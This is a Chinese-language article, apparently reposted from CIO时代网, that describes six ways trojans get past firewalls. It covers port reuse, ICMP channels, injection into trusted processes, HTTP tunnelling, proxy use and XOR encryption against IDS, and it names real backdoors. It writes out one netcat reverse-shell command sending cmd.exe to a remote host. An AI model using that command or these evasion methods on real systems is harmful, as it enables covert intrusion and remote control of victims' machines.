木马穿越防火墙的六大技术

  1. 首先就是No Firewall（允许本地对外监听基本上任何端口）

    对付这种机器好办，随便哪个马一般都行典型代表 Radmin

    rdp 3389/tcp

    2. 端口筛选

    使用工具netcat就可以穿刺这种防火墙 :

    nc -e cmd.exe 远程ip 远程监听port。

    随后，端口复用技术也出现了，复用防火墙开放的端口：如80,21,445等。

   典型的后门如hkdoor,ntrookit。

    还有利用无端口协议来通信，如利用icmp报文（Ping就是利用的ICMP协议的 Echo Request和Echo Reply探测主机存活）。

    典型的如pingdoor。

    更牛的，就是干脆抛开TCP/IP协议，木马自定义协议进行通信， 典型的如ntrootkit采用了自定义协议技术。

    3.应用程序筛选。（只允许特定程序访问网络）

    木马也不甘落后，自己不能访问网络，只好寄人篱下：

    进程插入技术诞生了，通常firewall都要允许iexplore.exe,explore.exe,svchost.exe,services.exe等程序访问网络，于是木马便盯上了这些程序。

    现在的远程控制一般都是插入进程式，一是隐蔽（没有自己进程），二是穿墙。典型如Bits.dll（替换系统服务BITS,插入svchost.exe中） 和灰鸽子/PcShare（默认插入iexplorer.exe浏览器进程）等。

    4.协议筛选

    http-tunnel （http隧道）将木马通信封装成http数据报进行传输。

    使用这种技术的有pcshare（使用双向http隧道传输）

一般防火墙为了安全起见，都只开80和其他一些常用的端口，这样的话，那些一般的基于tcp/ip客户端和服务端的木马就不能通过防火墙和外界发生联系，特别是在内网之中，但是经过特殊处理的ip封包可以伪装成http封包，这样防火墙就认为其是合法的http数据包，就会放行，这样在木马的接收端，软件再将伪装过的ip封包还原出来，取出其中有用的数据，从而达到穿越防火墙端口设置的限制。 该类型软件具有很大的欺骗性，所以不要认为设置了端口限制的防火墙就一定很安全了。 利用HTTP协议的缺陷来实现对防火墙的渗透，或者说现有的一些HTTP隧道技术的实现，是基于防火墙在对HTTP协议的报文进行识别与过滤时，往往只对其诸如POST、GET等命令的头进行识别，而放行其后的所有报文。
 



HTTP相关资料

    5.IP过滤

    一般就是化分为本机，局域网，广域网三个层次，比如，无法连到黑客主机或者跳板，就搜索本机的代理设置，如IE代理设置，然后代理出去！

    可以想象P2P形式的马也将于不久以后成为可能，这样木马和僵尸网络的区别就更小了。

    6. 现在很多防火墙都可以检测传输的敏感信息，如用户口令等，所以抗IDS,抗自动分析，这便成了高级木马需要考虑的东西，换句话说保护黑客控制的安全性和隐秘性。典型的解决方法就是采取加密措施，如最简单的对付IDS检测的方法，xor异或加密。

声明：凡注明CIO时代网（）之作品（文字、图片、图表），转载请务必注明出处为CIO时代网（），违者本网将依法追究责任。